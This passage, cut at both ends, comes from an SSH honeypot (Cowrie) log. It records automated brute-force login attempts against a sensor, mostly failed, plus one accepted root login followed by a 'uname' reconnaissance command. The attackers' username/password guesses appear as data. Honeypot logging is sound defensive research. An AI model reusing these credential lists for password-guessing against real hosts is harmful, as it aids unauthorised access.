-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:14:44.432352Z","src_ip":"2.57.122.96","session":"345db0df9506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigen","password":"eigen","message":"login attempt [eigen/eigen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:14:44.746536Z","src_ip":"2.57.122.96","session":"345db0df9506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:14:45.909510Z","src_ip":"2.57.122.96","session":"345db0df9506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":47264,"dst_ip":"10.17.0.5","dst_port":22,"session":"b10d382c8b98","protocol":"ssh","message":"New connection: 2.57.122.96:47264 (10.17.0.5:22) [session: b10d382c8b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:17:20.468261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:17:20.471740Z","src_ip":"2.57.122.96","session":"b10d382c8b98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:17:20.572708Z","src_ip":"2.57.122.96","session":"b10d382c8b98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigenlayer","password":"eigenlayer","message":"login attempt [eigenlayer/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:17:20.874030Z","src_ip":"2.57.122.96","session":"b10d382c8b98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:17:22.055196Z","src_ip":"2.57.122.96","session":"b10d382c8b98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":41556,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b7d3811e71c","protocol":"ssh","message":"New connection: 2.57.122.96:41556 (159.203.135.109:22) [session: 5b7d3811e71c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:17:36.562244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:17:36.565313Z","src_ip":"2.57.122.96","session":"5b7d3811e71c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:17:36.667214Z","src_ip":"2.57.122.96","session":"5b7d3811e71c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigenlayer","password":"eigenlayer","message":"login attempt [eigenlayer/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:17:36.974335Z","src_ip":"2.57.122.96","session":"5b7d3811e71c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:17:38.104959Z","src_ip":"2.57.122.96","session":"5b7d3811e71c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":58472,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e94a86f787d","protocol":"ssh","message":"New connection: 2.57.121.112:58472 (159.203.135.109:22) [session: 5e94a86f787d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:18:52.340001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:18:52.344236Z","src_ip":"2.57.121.112","session":"5e94a86f787d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:18:52.449274Z","src_ip":"2.57.121.112","session":"5e94a86f787d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05031997","message":"login attempt [admin/05031997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:18:52.945451Z","src_ip":"2.57.121.112","session":"5e94a86f787d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05021973","message":"login attempt [admin/05021973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:18:54.053820Z","src_ip":"2.57.121.112","session":"5e94a86f787d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050186","message":"login attempt [admin/050186] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:18:55.162117Z","src_ip":"2.57.121.112","session":"5e94a86f787d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041280","message":"login attempt [admin/041280] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:18:56.270008Z","src_ip":"2.57.121.112","session":"5e94a86f787d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041178","message":"login attempt [admin/041178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:18:57.379112Z","src_ip":"2.57.121.112","session":"5e94a86f787d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:18:58.487954Z","src_ip":"2.57.121.112","session":"5e94a86f787d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":55892,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd02ab3bd1fe","protocol":"ssh","message":"New connection: 2.57.122.96:55892 (10.17.0.5:22) [session: fd02ab3bd1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:20:23.838032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:20:23.869403Z","src_ip":"2.57.122.96","session":"fd02ab3bd1fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:20:24.003701Z","src_ip":"2.57.122.96","session":"fd02ab3bd1fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"curved","password":"curved","message":"login attempt [curved/curved] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:20:24.468022Z","src_ip":"2.57.122.96","session":"fd02ab3bd1fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:20:25.576587Z","src_ip":"2.57.122.96","session":"fd02ab3bd1fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":35560,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b8ffbecaa48","protocol":"ssh","message":"New connection: 2.57.122.96:35560 (159.203.135.109:22) [session: 8b8ffbecaa48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:20:40.661902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:20:40.666214Z","src_ip":"2.57.122.96","session":"8b8ffbecaa48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:20:40.772096Z","src_ip":"2.57.122.96","session":"8b8ffbecaa48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"curved","password":"curved","message":"login attempt [curved/curved] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:20:41.090904Z","src_ip":"2.57.122.96","session":"8b8ffbecaa48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:20:42.202163Z","src_ip":"2.57.122.96","session":"8b8ffbecaa48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":39670,"dst_ip":"159.203.135.109","dst_port":22,"session":"addf081ec36e","protocol":"ssh","message":"New connection: 14.225.2.125:39670 (159.203.135.109:22) [session: addf081ec36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:22:29.469692Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:22:29.743384Z","src_ip":"14.225.2.125","session":"addf081ec36e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":39672,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3f74f250299","protocol":"ssh","message":"New connection: 14.225.2.125:39672 (159.203.135.109:22) [session: a3f74f250299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:22:30.008522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:22:30.014270Z","src_ip":"14.225.2.125","session":"a3f74f250299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:22:30.281412Z","src_ip":"14.225.2.125","session":"a3f74f250299","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"asdf1234567","message":"login attempt [root/asdf1234567] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:22:31.080749Z","src_ip":"14.225.2.125","session":"a3f74f250299","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:22:31.652614Z","src_ip":"14.225.2.125","session":"a3f74f250299","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:22:31.656404Z","src_ip":"14.225.2.125","session":"a3f74f250299","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:22:31.926948Z","src_ip":"14.225.2.125","session":"a3f74f250299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:22:31.932791Z","src_ip":"14.225.2.125","session":"a3f74f250299","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":51968,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d6d0cb1e60c","protocol":"ssh","message":"New connection: 2.57.122.96:51968 (10.17.0.5:22) [session: 9d6d0cb1e60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:23:20.933227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:23:20.953562Z","src_ip":"2.57.122.96","session":"9d6d0cb1e60c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:23:21.042658Z","src_ip":"2.57.122.96","session":"9d6d0cb1e60c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uniswap","password":"uniswap","message":"login attempt [uniswap/uniswap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:23:21.527323Z","src_ip":"2.57.122.96","session":"9d6d0cb1e60c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:23:22.635821Z","src_ip":"2.57.122.96","session":"9d6d0cb1e60c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":47684,"dst_ip":"159.203.135.109","dst_port":22,"session":"0505b50a8b9a","protocol":"ssh","message":"New connection: 2.57.122.96:47684 (159.203.135.109:22) [session: 0505b50a8b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:23:37.574876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:23:37.581598Z","src_ip":"2.57.122.96","session":"0505b50a8b9a","protocol":"ssh"}
